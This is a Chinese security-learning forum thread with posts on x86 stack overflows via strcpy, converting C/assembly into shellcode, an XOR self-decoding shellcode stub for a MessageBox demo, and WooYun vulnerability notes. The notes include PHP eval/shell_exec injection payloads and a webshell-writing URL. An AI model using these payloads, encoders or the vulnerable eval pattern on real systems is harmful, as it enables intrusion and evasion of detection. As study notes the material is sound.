         //得到了foo的Address为0040101E,不同的电脑地址可能会不一样,系统地址可能会不一样。此段代码运行在xp系统中,其他系统暂时还没有进行试验
         printf("foo Address : %p",&foo);//输出函数的首地址
    strcpy(output,name);

        return 0;
}
```
######  知识前提:
首先,由前面简单的shellcode溢出我们可以发现在系统按照定义变量的顺序将其从先到后依次压入高内存单元(即先高后低)。因此我们可以推测output[8]中的数据应该**在**name[] 数据的后面。

#### 溢出查找
##### 溢出测试代码:

**注意**:我们在这边用abc... 而不用aaa....进行设置是因为后期我们需要更具字母进行判断shellcode地址,而abc...的ASCII的不一样便于我们查找。
```c
char name[] = "abcde";
```
首先,将这个代码进行单步调试,发现和我们设想的一样,strcpy之后,output[] 和 name[] 紧紧挨在一起。由于name为6(5个字母+字符串结束符 “\0” )不满8(output为8),因此后面内存中的数据两个字符,这样刚好是8个字符。
![在这里插入图片描述]()
长度大于8个:output是刚好挨着name[]。
![在这里插入图片描述]()
不断地改变  name[] 的长度,并进行单步调试,知道我们发现所有程序结束后,程序跳转到一个不知名的地址。(如下便是我们这个程序结束的最后一行代码,后面的汇编为 int main() 函数自带的平衡堆栈的一些操作。)
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
在不断改变name[] 长度时,我们发现在最后 call  __chkesp(004011a0) 清理堆栈时,eip都会入栈,且入栈位置在output[8]的后四个元素的位置。如下图。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
很好,,,关键时刻我的xp卡死了运行,不出来了,唉,也可能是担心我身体让我早点睡觉吧。算了,简要说一下吧。

由上图我们发现在执行完call __chesp后,此时的 **eip 地址会进入内存单元中,然后会执行下一句,并且当我们不断增加name[]长度时,我们发现这段内存单元可能被覆盖**,并且一旦内存单元发生覆盖(一个字节覆盖也是覆盖)生成新的地址(暂且叫它NewEip吧),我们会发现当执行下一句mov  esp, ebp(xp坏死,,,不是很确定,但一定是这据或者call这句代码)时候,程序会将新地址NewEip赋值给eip,即跳转到NewEip所对应的内存空间。
因此,如果我们用自己的代码将 eip 的地址按照我们想要改变的方向进行改变(这里是将函数foo的地址干好刚好覆盖 eip 之前的地址),那么下一步程序将会执行我们设定好的程序。
**我们可以用abc...的不断增加来判断覆盖的字符个数,即看地址中含有abc....16进制字符的个数。例如,a十六进制为61,**
最后附上原文链接:https://blog.csdn.net/weixin_43901038/article/details/104403141



回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-20 22:33:33 | 显示全部楼层

C语言反汇编(二)之switch与shellcode

本帖最后由 Xor0ne 于 2020-2-20 22:36 编辑

文章目录
1、代码示例:
2、反汇编:
3、汇编实现:
(1)、总体代码:
(2)、知识前提:
(3)、代码解析:
4、 转变为shellcode:
5、shellcode地址的调转
6、最终shellcdoe代码

  1、代码示例:
首先附上一段switch示例代码:
代码简要:输入一个数C,然后switch判断符合哪种case,根据相应的case对 t 进行赋值,最后输出 t 的值。
  1. ```c
  2. int main(int argc, char* argv[])
  3. {
  4. printf("Hello World!\n");
  5. int c,t;
  6. scanf("%d",&c);

  7. switch(c)
  8. {
  9.         case 0 : t = 0;break;
  10.         case 1 : t = 1;
  11.         case 2 : t = 2;break;
  12.         default: t = 10;
  13. }

  14. printf("%d\n",t);
  15. return 0;
  16. }
  17. ```
复制代码

####  2、反汇编:
如下图,可以发现switch与 if 选择语句有点类似。
**参数赋值**: 首先将swtich中的参数 C (在内存单元【ebp - 4】)放入 寄存器 ecx 中,然后再将 ecx 赋值给内存单元【ebp - 0Ch】(这个单元是之后需要进行比较的)。
**条件判断:** 然后用cmp指令依次将内存单元【ebp - 0Ch】与case参数:0,1,2,如果满足 je (相等),那么 je 便会根据case参数的满足情况,跳转到相应的case代码中。
**break的作用:** 由于汇编是顺序执行的,如果case 中没有break,那么下一个case也将会被顺位执行,例如:case 1 中不含有break,因此当 C = 1 时,先执行 t = 1,之后将顺位执行 case 2,即 t = 2,然后break跳出swtich语句。
**break执行原理:** jmp + 地址,直接跳转到指定地址。在这里我们只刚好跳出switch语句,然后执行后面的第一句。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
####  3、汇编实现:
#####  (1)、总体代码:
  1. ```c
  2. int main(int argc, char* argv[])
  3. {
  4.         printf("Hello World!\n");
  5.         int c,t;
  6.         scanf("%d",&c);

  7.                 _asm{
  8. //                add ebx,2        ;shellcode的定址
  9. //                push ebx
  10.                 mov eax, [ebp-4]
  11.                 cmp eax, 0
  12.                 je L0
  13.                 cmp eax, 1
  14.                 je L1
  15.                 cmp eax, 2
  16.                 je L2
  17.                 mov eax, 10                ;default语句开始
  18.                 mov [ebp-8], eax
  19.                 jmp L
  20.         
  21. L0:        mov eax, 0
  22.         mov [ebp-8], eax
  23.         jmp L

  24. L1:        mov eax, 1
  25.         mov [ebp-8], eax
  26.         //jmp L 因为case 1不含有break语句,因此去掉jmp

  27. L2:        mov eax, 2
  28.         mov [ebp-8], eax
  29.         jmp L

  30. L:        nop
  31.         //ret
  32.                 }
  33.         printf("%d\n",t);
  34.         return 0;
  35. }
  36. ```
复制代码

#####  (2)、知识前提:

(1)、c 和 t 的位置:在进行main()函数时,首先将会有一堆保护栈代码的机制,就有

  1. ```c
  2. push ebp
  3. mov ebp, esp
  4. ```
复制代码

ebp是此时栈空间的基址,当我们定义 " int c, t ; " 时,计算机将参数从左至右压入栈内存空间中,因此 C存放在【ebp - 4】; t 存放在 【ebp - 8】当中。

##### (3)、代码解析:
(1)、实现swtich功能:
如下,在此我们仿照反汇编代码,将参数C的值(存放在【ebp - 4 】)赋值给eax,然后将case情况依次和eax进行比较,如果满足 je ,那么进行指定对应的跳转。
  1. ```c
  2. //                add ebx,2        ;这两句在shellcode执行时会用上
  3. //                push ebx
  4.                
  5.                 mov eax, [ebp-4]
  6.                 cmp eax, 0
  7.                 je L0        
  8. ```
复制代码

例如,当 C = 1(case中不含有break),不断 cmp 之后,将会 je 跳转到 L1 模块,由于不含break,因此将会执行 L2,因此我们将 L2放在 L1模块之后。

  1. ```c
  2. L1:        mov eax, 1
  3.         mov [ebp-8], eax
  4.         //jmp L 因为case 1不含有break语句,因此去掉jmp
  5. L2: mov eax, 2
  6. ```
复制代码


(2)、case-break功能:我们将每个case都放入一个对应的代码块中,当switch满足条件时,便 je + 相对应的代码块。
由于函数是从上到下执行的,因此,我们将default模块设置在switch代码的最下面。
**注意:**  L代码块最后面有一个ret语句,这是下面shellcode中需要用到的这里注释与否不影响运行。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

#### 4、 转变为shellcode:
**拓展:**  首先简要介绍一下ret指令,
>ret指令一般与call指令联合使用类似于函数的调用。
>call的本质其实就是:
(1)、push  eip  (2)、jmp 寄存器
即将当前主程序中的 eip 入栈,然后 jmp 跳转到相应的子程序。
ret的本质为:
pop eip
即将之前栈中的地址出栈,从而返回原来的主程序中。

上述代码单步调试没有问题的情况下,我们将_asm汇编语言中的指令机器码提取出来,变成十六进制的格式。

利用一下代码进行执行。
![在这里插入图片描述]()

这个是之前的一个示例代码,首先我们将shellcode的首地址赋值给eax寄存器,然后将eax寄存器的值(即shellcode的首地址)push入栈,之后执行ret指令(即 pop  eip ),此时 eip = shellcode的首地址 ,然后程序按照eip 开始执行 shellcode。**但是每次执行完shellcode 最后一句话时,我们发现程序并没有回到 _asm 代码块,而是会继续执行shellcode后面的不知名空间,然后造成程序报错。**如下:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
我们可以发现造成错误的原因是因为我们没有将shellcode地址结尾进行调转,以至于它回不来了。也就是它的 eip 没有变回到原来的eip 以至于产生错误。

####  5、shellcode地址的调转
上面我们发现错误的原因是因为 eip 的地址没有进行复。因此我们可以设想在执行shellcode 前将 eip 地址保存到某个位置,然后执行借宿后我们再将 eip 的值取出,这样我们便可以回到原来的位置了。
但是由于 eip 是一个特殊的寄存器,不能直接改变 eip 的值。但是我们可以通过 call/ret间接的改变 eip 的值。(关于 call/ret 我们前面有讲解)

(1)、首先,由于call/ret 是通过 push 和 pop 来改变eip的值,因此我们观察 eip变化 与栈空间的联系。
如下是执行完 push eax, shellcode的栈空间。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
执行完 ret 指令,我们发现 esp + 4,即之前 ret 指令 pop 掉了sellcode 的首地址,此时 esp 指向的是后面的空间地址。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


因此,我们可以在执行shellcode之前将需要的 New_eip(哈哈,自定义的名字) push 在内存单元中,在shellcode 的结尾代码加上 ret 指令,那么 pop eip 之后,eip 将会等于上图中第二个框框中的代码New_eip。如下图,因为我们接下来是让程序执行printf的指令,因此我们需要观察 New_eip与printf相差的值X,然后 " add New_eip, x " 和 ” push New_eip “。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


实践如下:
首先获取 eip 的值。
![在这里插入图片描述]()
然后将 eip  变成我们需要的值(即 printf 的 eip 值),然后将其保存。如下,我们可以很好的发现eip 距离相差的值为 2。因此add 2后,便可以直接push ebx了。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

####  6、最终shellcdoe代码
如下,为代码实现部分,
![在这里插入图片描述]()
![在这里插入图片描述]()
最后,附上带有shellcode的源码嘛:

  1. ```c
  2. // test0219_switch.cpp : Defines the entry point for the console application.
  3. //
  4. #pragma comment(linker, "/section:.data,RWE")

  5. #include "stdafx.h"

  6. char shellcode[] = "\x83\xc3\x02\x53\x8b\x45\xfc\x83\xf8\x00\x74\x14\x83\xf8\x01\x74\x19\x83\xf8\x02\x74\x1c\xb8\x0a\x00\x00\x00\x8b\x45\xfc\x83\xf8\x00\x74\x14\x83\xf8\x01\x74\x19\x83\xf8\x02\x74\x1c\xb8\x0a\x00\x00\x00\x89\x45\xf8\xeb\x12\xb8\x01\x00\x00\x00\x89\x45\xf8\xb8\x02\x00\x00\x00\x89\x45\xf8\xeb\x00\xc3";

  7. int main(int argc, char* argv[])
  8. {
  9.         printf("Hello World!\n");
  10.         int c,t;
  11.         scanf("%d",&c);
  12.         
  13.                 _asm{
  14.                 lea eax,shellcode
  15.                 push eax
  16.                 call next
  17.         next:pop ebx
  18.                 ret
  19.         }

  20. /*** C语言代码:
  21.         switch(c)
  22.         {
  23.         case 0 : t = 0;break;
  24.         case 1 : t = 1;
  25.         case 2 : t = 2;break;
  26.         default: t = 10;
  27.         }
  28. */

  29.         /*
  30.                 _asm{
  31.                 add ebx,2
  32.                 push ebx
  33.                 mov eax, [ebp-4]
  34.                 cmp eax, 0
  35.                 je L0
  36.                 cmp eax, 1
  37.                 je L1
  38.                 cmp eax, 2
  39.                 je L2
  40.                 mov eax, 10
  41.                 mov [ebp-8], eax
  42.                 jmp L
  43.         
  44. L0:        mov eax, 0
  45.         mov [ebp-8], eax
  46.         jmp L

  47. L1:        mov eax, 1
  48.         mov [ebp-8], eax
  49.         //jmp L

  50. L2:        mov eax, 2
  51.         mov [ebp-8], eax
  52.         jmp L

  53. L:        ret
  54.                 }
  55.                
  56.         */

  57.         printf("%d\n",t);
  58.         return 0;
  59. }



  60. ```
复制代码


回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-21 23:36:25 | 显示全部楼层
Strcpy()函数溢出之精确定位地址


看聊天记录,前几天自己写了一篇关于strcpy()函数溢出的文章,自己在网找了个例子实践然后写出来,当时的感觉是自己能够理解,但是写出来的逻辑却是乱七八糟。今天再往下看聊天记录发现后面老师竟然给出了例子,把例子运行了一篇,哇,竟然好熟悉的味道啊!看着老师在后面做的相应的讲解,只能说有人引导的感觉真的很好!
哈哈,扯皮了,回归正题啦。

1、代码示例:
  1. // test0221.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include "string.h"

  5. <div class="blockcode"><blockquote>char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\x05\x10\x40\x00";
复制代码

//char *shellcode="abcd"; //不断地尝试abc...可以用来测试定位,哈哈,不过这个是一种笨方法啦

void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
}
void fun2(int a)
{
   printf("fun2 run! para a=%d\n",a);
}
void fun3(int a,int b,int c)
{
  printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}
//主函数
int main(int argc, char* argv[])
{
        printf("begin\n");
    char a[4]={0};
        strcpy(a,shellcode);
        fun1(2,3);
    fun2(4);
        fun3(4,5,6);

        return 0;
}



2、反汇编查看
注意观察的点:ebp的值,在每个main函数都会程序中做一系列保护栈的操作,尤其是在函数结束后(及花括号之后),开始平衡堆栈。让寄存器恢复执行前的状态。代码如下:
  1. 004011A1   cmp         ebp,esp    //比较ebp与esp的值
  2. 004011A3   call        __chkesp (00401250)  //检查堆栈函数
  3. 004011A8   mov         esp,ebp   //在程序正常平衡堆栈执行结束后,ebp是main()开始保护堆栈的值(即最开始mov ebp, esp的值)。
  4. 004011AA   pop         ebp         //
  5. 004011AB   ret   //相当于pop  eip
复制代码


(1)、代码溢出原理:
通过strcpy()进行溢出,将我们需要跳转的地址溢出到如下位置。


(2)、原理复现
首先,我们看在main()函数最开始实施保护堆栈操作 push ebp之后,ESP = 0012FF80,此时ESP指向的堆栈中的内容为刚刚push进去的ebp,为 0012FFC0。由于我们shellcode的位置为ebp入栈的前面位置,即 0012FF84.



接下来观察char a[4] = { 0 } 入栈的位置,刚好在上一步 ebp 入栈位置的后面,即 0012FF7C,因此当我们用strcpy( a, shellcode )函数构造shellcode溢出时,我们利用构造shellcode比 a 多8位即可实现指定位置跳转。(8位 = 0012FF84 - 0012FF7C = 无用的代码(4位)+指定地址(4位))


在此,我们这里用的是构造好的shellcode。
  1. char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\x05\x10\x40\x00";
复制代码
接下来观察strcpy()函数溢出情况,可以发现shellcode跳转地址刚好在我们指定好的位置(即最后ret 中pop eip的值)。


后面的内容就是函数结束后跳转到我们指定的地址啦。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-26 08:41:37 | 显示全部楼层
@[TOC]

首先,每天的C汇编搁了两天,要继续了,加油。
今天讲的是C语言在的while循环语句。

###  一、while语句
```c
while(i <= 5)
        {
                sum = sum + i;
                i++;
        }
```

####   1、代码示例
while利用 i 作为循环条件,不断地进行 sum 求和。
```c
#include "stdafx.h"

int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        int i = 1,sum = 0;
        while(i <= 5)
        {
                sum = sum + i;
                i++;
        }
        printf("sum=%d\n",sum);
        return 0;
}
```

####  2、反汇编
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
如上图,可以发现 while (){循环体} 语句的原理是:首先用 cmp 与
被比较数 5进行 cmp比较,如果相反,则跳转地址(即 jg  main+4Dh)。当执行完循环体时,利用 jmp + 条件地址 实现跳转,跳转到 while()语句 执行下一次循环。

####  3、汇编代码实现:
方法一:按照反汇编模式进行汇编

```c
        _asm
        {
                mov eax, [ebp - 4]
                mov ebx, [ebp - 8]
begin:
                cmp eax, 5
                jg end
                add ebx, eax
                inc eax
                jmp begin

end:        mov [ebp - 4], eax
                mov [ebp - 8], ebx
        }
```

方法二:

```c
        _asm
        {
                mov eax, [ebp - 4]
                mov ebx, [ebp - 8]
                mov ecx, 5
s:                add ebx, eax
                inc eax
                loop s
                mov [ebp - 4], eax
                mov [ebp - 8], ebx
        }
```

###  二、do……while语句
####  1、代码示例:

```c
#include "stdafx.h"

int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        int i = 1,sum = 0;
        
        do{
                sum = sum + i;
                i++;
        
        }while(i <= 5);


        printf("sum=%d\n",sum);
        return 0;
}
```

####  2、反汇编
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
如上图可知,do {循环体} while()  循环语句与while类似,只是首先执行了一遍循环体,当执行到while语句时,先用 cmp 和 被比较数5进行比较,如果满足条件(这里是jle),则返回循环体。
####  3、汇编实现
方法一;

```c
        _asm
        {
                mov eax, [ebp - 4]
                mov ebx, [ebp - 8]
                mov ecx, 5
s:                add ebx, eax
                inc eax
                loop s
                mov [ebp - 4], eax
                mov [ebp - 8], ebx
        }
```
###  三、for循环语句

####  1、代码示例
```c
#include "stdafx.h"

int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        int i = 1,sum = 0;

        for(; i<=5; i++)
        {
                sum = sum + i;
        }

        printf("sum=%d\n",sum);
        return 0;
}
```

####  2、反汇编
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
由图可知,for(i=0; i<=5; i++)循环语句,i=1 可以分解为:mov指令使 i = 1,然后 jmp 执行条件语句(即cmp比较语句)。i <= 5类似于while中的条件比较,首先 cmp 进行比较,如果不满足条件(即jg  大于),则跳出循环体。当执行完循环体后,jmp 跳转到 i++ 语句,i++ 执行完成之后,执行 cmp 语句,然后执行循环体。

####  3、汇编实现 :同上,基本相同


回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-28 00:15:44 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-2-28 00:17 编辑

异或加密与解密



这几天试了好几次都只是半成半不成的样子,索性今天花时间写下来吧,一些不懂的东西在以后的实践中慢慢探寻吧。
哈哈,写文章的时候竟然运行成功了。赞????博客(博客的排版可能看起来舒服一点):https://blog.csdn.net/weixin_43901038/article/details/104539980
文章目录
(1)、形成shellcode
(2)、Xor加密shellcode
(3)、类循环解密
最后附上成功的代码啦:

利用的是Messagebox()弹框进行XOR加密。
#### (1)、形成shellcode
以下代码是shellcdoe的汇编代码、形成后的代码、执行代码。

  1. #include "stdafx.h"

  2. #include "string.h"

  3. #include "stdlib.h"

  4. #include "windows.h"



  5. char key = 0x51; //异或的密钥

  6. //汇编加密后的shellcode

  7. char shellcode[] = "\x83\xC3\x02\x53\x8B\x45\xF4\x8B\x5D\xF0\x6A\x00\x53\x50\x6A\x00\x8B\x45\xF8\xFF\xD0\xC3\x90";



  8. int main(int argc, char* argv[])

  9. {

  10.         printf("Hello World!\n");

  11.         LoadLibraryA("user32.dll");  //载入指定的动态链接库,并将它映射到当前进程使用的地址空间。一旦载入,即可访问库内保存的资源

  12.         HMODULE hmd=GetModuleHandleW(L"user32.dll"); //hmd就是user32.dll在这个实例的内存基址

  13.         ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA"); //hmd就是user32.dll在这个实例的内存基址





  14.         char* a = "test shellcode";

  15.         char* b = "test";

  16.         //执行shellcode的代码

  17.         _asm

  18.         {

  19.                 lea eax, shellcode

  20.                 push eax

  21.                 call next

  22. next:        pop ebx        //用ebx保存当前的位置,以便于shellcode执行那个完成后可以回到这个位置。

  23.                 ret        //        执行shellcode

  24.         }

  25.         

  26. /**以下是汇编指令:

  27.         _asm

  28.         {

  29.                 add ebx, 7//取决于进入汇编时语句的eip和回到主程序执行的语句偏移量,说白了就是两者之差

  30.                 push ebx

  31.                 mov eax, a

  32.                 mov ebx, b

  33.                 push 0

  34.                 push ebx

  35.                 push eax

  36.                 push 0

  37.                 mov eax, addr //Messagebox()的地址

  38.                 call eax

  39.                 ret        

  40.           }        

  41. **/        

  42.         printf("\n");

  43.         return 0;

  44. }
复制代码


PS:一个小技巧:生成shellcode:
找到shellcode汇编代码的内存空间(如下图),执行后,把对应内存空间的机器码复制到文本编辑器,让相应机器码之间为空格,然后选中整句话,利用  Ctrl + H 用 “ \x ” 替换 空格,至此,16进制shellcode便形成了。
![在这里插入图片描述]()

  (2)、Xor加密shellcode
首先,求出shellcode的长度,然后利用for循环对shellcode进行 xor加密。提取加密后的shellcode,可以找到encodeShell对应的内存空间,然后进行提取。
  1. char encodeShell[] = "";//存放加密后的shellcode
  2. int length = sizeof(shellcode)/sizeof(shellcode[0]);
  3.         printf("%d",length);
  4.         for(int i=0;i<length-1; i++)
  5.         {
  6.                 printf("\\x%.2x \t",shellcode);
  7.                 encodeShell = shellcode ^ key;
  8.                 printf("\\x%x \n", encodeShell);
  9.         }

  10. //加密后的shellcode为:
  11. //encodeShell[] = "\xD2\x92\x53\x02\xDA\x14\xA5\xDA\x0C\xA1\x3B\x51\x02\x01\x3B\x51\xDA\x14\xA9\xAE\x81\x92\xC1";
复制代码


(3)、类循环解密
我们在shellcode的添加一个  " \x90 ",作为结束符号,这样我们在解密时,便可以利用   cmp  元素, \X90  ,进行比较,若不相等便继续加密,否则退出解密啦。
  1. //异或解密代码
  2.         _asm
  3.         {
  4.                 lea eax, encodeShell//用eax保存shellcode的首地址
  5.                 xor ecx, ecx        //用ecx作为shellcode的偏移量,便于对每个元素进行解密
  6. Decode:
  7.                 mov bl, [eax+ecx] //将shellcode中的首个元素字节保存到bl内存单元中
  8.                 xor bl, 0x51 //Xor解密
  9.                 mov [eax+ecx],bl //将解密后的元素保存到内存单元中
  10.                 inc ecx //下一个元素
  11.                 cmp bl, 0x90 //判断shellcode是否截止
  12.                 jne Decode
  13.         }
  14. /**
  15. 执行解密后的encodeShell代码,判断是否解密成功的代码:
  16.         _asm
  17.         {
  18.                 lea eax, encodeShell
  19.                 push eax
  20.                 call next
  21. next:        pop ebx
  22.                 ret
  23.         }
  24. **/
复制代码



由于这段decode(称为解码子)是需要放在shellcode的前面,因此我们解密时的代码位置 = decode此时的位置 -  decode的长度 = 加密的shellcode位置。

  1. /*
  2.         _asm
  3.         {        
  4.                
  5.                  call next
  6. next:        pop eax                //用eax保存此时shellcode的位置
  7.                 add eax, 0x15        //解码子的长度        
  8.                 xor ecx, ecx
  9. Decode:        mov bl, [eax+ecx]
  10.                 xor bl, 0x51
  11.                 mov [eax+ecx], bl
  12.                 inc ecx
  13.                 cmp bl, 0x90
  14.                 jne Decode
  15.                 nop         //这个是便于调试时退出循环用的
  16.         }        
  17. */
复制代码

最后附上成功的代码啦:
  1. // test_xor.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include "string.h"
  5. #include "stdlib.h"
  6. #include "windows.h"

  7. char key = 0x51;
  8. /*最开始的shellcode*/
  9. //char shellcode[] = "\x83\xC3\x02\x53\x8B\x45\xF4\x8B\x5D\xF0\x6A\x00\x53\x50\x6A\x00\x8B\x45\xF8\xFF\xD0\xC3\x90";
  10. /*加密后并且可以实现解密自己的shellcode*/
  11. char encodeShell[] = "\x83\xC0\x15\x33\xC9\x8A\x1C\x08\x80\xF3\x51\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1\x90”/*这段是decode解密自己*/
  12. “\xD2\x92\x56\x02\xDA\x14\xA5\xDA\x0C\xA1\x3B\x51\x02\x01\x3B\x51\xDA\x14\xA9\xAE\x81\x92\xC1";/*这个是加密后的shellcode*/

  13. int main(int argc, char* argv[])
  14. {
  15.         printf("Hello World!\n");

  16.         LoadLibraryA("user32.dll");
  17.         HMODULE hmd=GetModuleHandleW(L"user32.dll");
  18.         ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA");

  19.         char* a = "test shellcode";
  20.         char* b = "test";        

  21.                 _asm
  22.         {
  23.                 lea eax, encodeShell
  24.                 push eax
  25.                 call next
  26. next:        pop ebx        //        利用ebx,在shellcode中将ebx压入栈中,之后便于在shellcode中ret返回源程序
  27.                 ret //从此处开始执行shellcode
  28.         }
  29.         printf("\n");
  30.         return 0;
  31. }
复制代码



回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-28 20:29:23 | 显示全部楼层
wooyun总结01

文章目录
1、账户体系控制不严
漏洞简单复现:
2、系统/服务运维配置不当
3、命令执行1
漏洞简单复现:
修复方案:
4、302重定向
漏洞简述
漏洞测试
5、网络未授权访问--ldap匿名访问url
漏洞说明:
漏洞测试
修复方案:

### 1、账户体系控制不严
>这个漏洞来自wooyun漏洞编号:wooyun-2016-0229917
>漏洞标题为:团che网某源码/内部重要邮箱外泄

关于这个漏洞,我在网上找到了一个复现的在线靶场。靶场旁边有清晰的闯关指导,就不一一赘述了,如有兴趣,可以去靶场实践一番哦!
#### 漏洞简单复现:
i春秋靶场链接:
https://www.ichunqiu.com/experiment/detail?id=73&source=1

总结:在靶场实验时,我对于此漏洞的理解是,由于账户体系控制不严,导致 yujian 后台扫描时发现了 admin.php 文件,再用 帝国。exe 对 admin.php 的登陆进行绕过然后进入后台。进入后台后,备份数据库,上传一句话,获取webshell权限。最后中国菜刀进行连接。

###   2、系统/服务运维配置不当
>这个漏洞来自于 缺陷编号:wooyun-2016-0230305
>漏洞标题为:tong程旅游某系统配置不当任意文件上传getshell/root权限

关于这个漏洞的具体资料没找到什么,但是发现这个漏洞产生的问题真不少,以下是百度上面关于这个漏洞的一个提交信息。
这个问题原因:jboss配置不当,导致getshelljboss地址:**.**.**.**:8080/admin-consolejboss帐号密码:admin/admin可通过部署war包拿到shell
漏洞链接:https://www.uedbox.com/post/22584/

###  3、命令执行1
>缺陷编号:wooyun-2016-0229924
漏洞标题:网级 ji量自动化系统存在命令执行/涉及项目源码 /可内网

**参考链接:**
命令执行漏洞详解:http://www.360doc.com/content/18/0804/00/39068176_775524217.shtml
命令执行、代码执行漏洞产生与防止解析:https://www.cnblogs.com/drkang/p/8688481.html
**代码执行产生函数:eval、assert等
命令执行(命令注入)产生函数:exec,shell_exec,system,passthru等将参数以dos、shell执行**
>exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数,此外还要小心mail()函数的安全
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针

####  漏洞简单复现:
按照上面的链接,我简单的复现了一下这个漏洞。代码如下。

  1. <?php
  2. $code = $_GET["name"];
  3. echo "您的输入为".$code."\n";
  4. eval($code);
  5. //echo shell_exec($code);
  6. ?>
复制代码


以上产生漏洞的PHP代码为:
  1. eval($code);
  2. //echo shell_exec($code);
复制代码

eval():将代码以php执行。
payload:http://127.0.0.1/code_eval.php?name=echo phpinfo();  (注意含有分号)
利用:(这个利用我没有复现成功,但是echo phpinfo() 复现成功了。)
http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php

shell_exec():命令执行,类似于 cmd 直接执行。
payload:
http://127.0.0.1/test.php?name=netstat -ano
http://127.0.0.1/test.php?name=ipconfig

#### 修复方案:
禁用 eval(),system()等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入数据进行处理。此外,在PHP/JSP中避免动态include远程文件,或者安全地处理它。代码注入往往是由于不安全的编程习惯所导致的,危险函数应该尽量避免在开发中使用,可以在开发规范中明确指出哪些函数是禁止使用的。这些危险函数一般在开发语言的官方文档中可以找到一些建议(摘自:白帽子讲Web安全)。

**总结:** 经过自己的简单复现,个人认为漏洞复现的简单原理是:系统调用一些执行系统命令的函数时,例如PHP中的System、shell_exec等,当用户可以控制命令执行函数中的参数时,将恶意系统命令代码注入到正常的命令中,造成执行攻击。
### 4、302重定向
>缺陷编号:wooyun-2016-0229611
进攻标题:36o某处ssrf突破可探测内网信息(附内网6379探测脚本)

这是今天遇到的第二篇写命令执行的代码,大佬说它的这次进攻是属于命令执行,但是和我上面看见的命令执行又不一样,因此首先把这个漏洞进行简要地复述。

####  漏洞简述
